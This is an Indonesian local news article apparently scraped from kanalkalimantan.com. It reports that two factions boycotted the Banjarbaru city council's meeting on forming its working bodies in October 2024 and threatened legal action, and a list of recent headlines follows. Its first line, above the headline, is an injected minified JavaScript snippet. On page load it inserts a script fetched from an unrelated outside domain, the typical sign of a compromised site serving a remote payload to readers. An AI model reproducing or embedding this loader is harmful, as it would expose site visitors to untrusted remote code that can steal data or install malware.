(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua Fraksi Absen, Ketua Fraksi PAN-PKS Merasa Ditelikung Soal Pembentukan AKD


KANALKALIMANTAN.COM, BANJARBARU – Prosesi pelantikan tiga unsur pimpinan Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru digelar di Gedung Graha Paripurna Kantor DPRD Banjarbaru, Senin (28/10/2024). Usai pelantikan, para fraksi langsung menggelar rapat pembentukan alat kelengkapan dewan (AKD).

Rapat pembentukan AKD dilaksanakan pukul 13.00 Wita, dengan melibatkan enam Fraksi. Dua Fraksi dia antaranya terpantau absen dalam rapat tersebut

Gusti Rizky Sukma Iskandar, yang baru dilantik sebagai Ketua DPRD Banjarbaru periode 2024-2029, mengatakan, pembentukan AKD harus dikebut agar anggota bisa bekerja.

Baca juga: Jalan Terjal Sumardi Hapus Tuntutan Kurungan JPU terkait Konflik Tambang!

“Tentu harus dikebut. Kalau belum selesai, kami tidak bisa bekerja karena pembentukan komisi belum bisa terlaksana,” ungkap Rizky.

Di sisi lain Ketua Fraksi PAN-PKS yang absen hari ini, Emi Lasari menanggapi, bahwa pihaknya sudah bersurat secara resmi untuk merespons undangan dari Sekretariat DPRD Banjarbaru perihal rapat pembentukan AKD ini.

Emi menduga unsur pimpinan memutus secara sepihak tanpa koordinasi dengan fraksi-fraksi yang ada di DPRD. “Ketika tidak diindahkan dan (pembentukan AKD) tetap dipaksakan, maka kita akan mempersiapkan untuk melakukan langkah hukum terkait keabsahan forum pembentukan AKD hari ini,” ucap Emi.

Baca juga: Diterjang Opini Liar, Tim Cagub Muhidin Pilih Fokus ‘Jual’ Visi Misi

Selain Fraksi PAN-PKS, Fraksi Partai Nasdem juga absen dalam rapat pembentukan AKD.

Ketua Fraksi Nasdem, Takyin Baskoro menyebut, pembentukan AKD merupakan langkah blunder. Dirinya menyebut pimpinan DPRD Banjarbaru telah melanggar jadwal Bamus yang ditandatangani.

Tak luput ia menilai mekanisme penyusunan AKD juga menyalahi aturan dan berpotensi cacat hukum.

“Supaya kelak di kemudian hari produk AKD tidak menuai persoalan hukum, maka saya menyarankan agar seluruh fraksi duduk bersama dan menjadwalkan ulang pembentukan AKD,” tuntas Baskoro. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell


Muhammad Andi

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

16 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

20 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

22 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

23 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

23 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.